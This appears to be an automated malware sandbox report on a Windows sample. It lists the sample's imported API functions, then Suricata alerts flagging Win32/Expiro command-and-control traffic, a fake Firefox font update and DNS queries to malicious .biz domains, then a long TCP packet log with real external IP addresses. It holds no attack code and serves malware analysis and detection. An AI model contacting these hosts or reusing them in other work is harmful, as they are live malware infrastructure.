GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDlgItem, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, EmptyClipboard, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, CloseClipboard, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SelectClipRgn, SaveDC, RestoreDC, Rectangle, RectVisible, RealizePalette, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPointA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExtTextOutA, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualProtect, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MulDiv, LockResource, LoadResource, LoadLibraryExA, LoadLibraryW, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleW, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileAttributesA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, FindNextFileA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Replace, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create, InitCommonControls
comdlg32.dll	GetSaveFileNameA, GetOpenFileNameA
winmm.dll	PlaySoundA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-10T07:05:23.409269+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49707	41.185.8.252	443	TCP
2024-12-10T07:05:36.062119+0100	2850851	ETPRO MALWARE Win32/Expiro.NDO CnC Activity	1	192.168.2.9	49709	54.244.188.177	80	TCP
2024-12-10T07:05:36.654151+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49710	158.101.44.242	80	TCP
2024-12-10T07:05:42.927993+0100	2051648	ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz)	1	192.168.2.9	49551	1.1.1.1	53	UDP
2024-12-10T07:05:42.961779+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	18.141.10.107	80	192.168.2.9	49718	TCP
2024-12-10T07:05:42.961779+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	18.141.10.107	80	192.168.2.9	49718	TCP
2024-12-10T07:05:44.675082+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	54.244.188.177	80	192.168.2.9	49720	TCP
2024-12-10T07:05:44.675082+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	54.244.188.177	80	192.168.2.9	49720	TCP
2024-12-10T07:05:45.913984+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49710	158.101.44.242	80	TCP
2024-12-10T07:05:46.083996+0100	2051648	ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz)	1	192.168.2.9	64135	1.1.1.1	53	UDP
2024-12-10T07:05:46.096205+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	44.221.84.105	80	192.168.2.9	49723	TCP
2024-12-10T07:05:46.096205+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	44.221.84.105	80	192.168.2.9	49723	TCP
2024-12-10T07:05:54.224970+0100	2051649	ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)	1	192.168.2.9	51600	1.1.1.1	53	UDP
2024-12-10T07:05:56.230614+0100	2051649	ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)	1	192.168.2.9	62925	1.1.1.1	53	UDP
2024-12-10T07:06:43.512348+0100	2850851	ETPRO MALWARE Win32/Expiro.NDO CnC Activity	1	192.168.2.9	49737	82.112.184.197	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 07:05:21.533701897 CET	49706	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:21.533751011 CET	443	49706	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:21.533849001 CET	49706	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:21.548002958 CET	49706	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:21.548055887 CET	443	49706	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:21.548109055 CET	49706	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:21.575608015 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:21.575642109 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:21.575735092 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:21.578800917 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:21.578819990 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:23.409179926 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:23.409269094 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:23.540066004 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:23.540095091 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:23.540452957 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:23.597234964 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:23.802146912 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:23.843342066 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.349503994 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.349541903 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.349551916 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.349600077 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.349626064 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:24.349634886 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.349666119 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:24.402179956 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:24.574441910 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.574460983 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.574512959 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.574536085 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.574546099 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:24.574556112 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.574564934 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:24.574570894 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.574579954 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:24.574606895 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:24.574657917 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:24.632752895 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.632766008 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.632810116 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.632886887 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:24.632896900 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.633045912 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:24.787298918 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.787329912 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.787483931 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:24.787483931 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:24.787499905 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.787620068 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:24.828469992 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.828530073 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.828572035 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:24.828579903 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.828603983 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:24.828635931 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:24.863873005 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.863928080 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.863955021 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:24.863960028 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.864053965 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:24.976447105 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.976496935 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.976521015 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:24.976536989 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:24.976577997 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.002614021 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.002636909 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.002685070 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.002696037 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.002739906 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.002773046 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.025751114 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.025804043 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.025911093 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.025911093 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.025923014 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.026099920 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.037827015 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.037846088 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.037925005 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.037936926 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.037982941 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.051800013 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.051821947 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.051871061 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.051884890 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.051930904 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.051930904 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.064749002 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.064766884 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.064831972 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.064842939 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.064898014 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.165721893 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.165746927 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.165807962 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.165819883 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.165858030 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.165895939 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.185168028 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.185184956 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.185283899 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.185300112 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.185340881 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.194875002 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.194899082 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.194936037 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.194952011 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.194967031 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.194992065 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.206054926 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.206073046 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.206135988 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.206151009 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.206223965 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.217278957 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.217333078 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.217364073 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.217375994 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.217396975 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.217416048 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.224071026 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.224092007 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.224168062 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.224180937 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.224225998 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.231241941 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.231264114 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.231355906 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.231368065 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.231414080 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.238928080 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.238948107 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.239115000 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.239128113 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.239196062 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.358948946 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.358972073 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.359056950 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.359070063 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.359121084 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.365915060 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.365931988 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.366022110 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.366033077 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.366091013 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.381548882 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.381566048 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.381732941 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.381758928 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.381813049 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.388432026 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.388478041 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.388508081 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.388525963 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.388540983 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.391211033 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.394475937 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.394495964 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.394563913 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.394572973 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.394593954 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.395241022 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.401676893 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.401695967 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.401763916 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.401773930 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.401839018 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.408138037 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.408163071 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.408210039 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.408219099 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.408243895 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.408271074 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.414623022 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.414639950 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.414725065 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.414737940 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.414804935 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.550309896 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.550334930 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.550434113 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.550471067 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.550529957 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.556399107 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.556418896 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.556546926 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.556566954 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.556659937 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.572542906 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.572565079 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.572715044 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:25.572731972 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:25.572810888 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.267950058 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.267962933 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.268032074 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.268179893 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.268188953 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.268229961 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.268249989 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.274782896 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.274800062 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.274919987 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.274933100 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.274988890 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.280848980 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.280868053 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.281013966 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.281023026 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.281096935 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.287723064 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.287739038 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.287837982 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.287847042 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.287923098 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.294456959 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.294475079 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.294617891 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.294641018 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.294692993 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.300928116 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.300957918 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.301095009 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.301105022 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.301152945 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.307840109 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.307933092 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.308039904 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.308058023 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.308120966 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.308120966 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.313813925 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.313831091 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.313952923 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.313968897 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.314028978 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.462236881 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.462260008 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.462412119 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.462430954 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.462516069 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.654242992 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.654263973 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.654376030 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.654412985 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.654472113 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.843625069 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.843656063 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.843785048 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.843821049 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.843878984 CET	49707	443	192.168.2.9	41.185.8.252
Dec 10, 2024 07:05:26.849570990 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.849591017 CET	443	49707	41.185.8.252	192.168.2.9
Dec 10, 2024 07:05:26.849653006 CET	49707	443	192.168.2.9	41.185.8.252
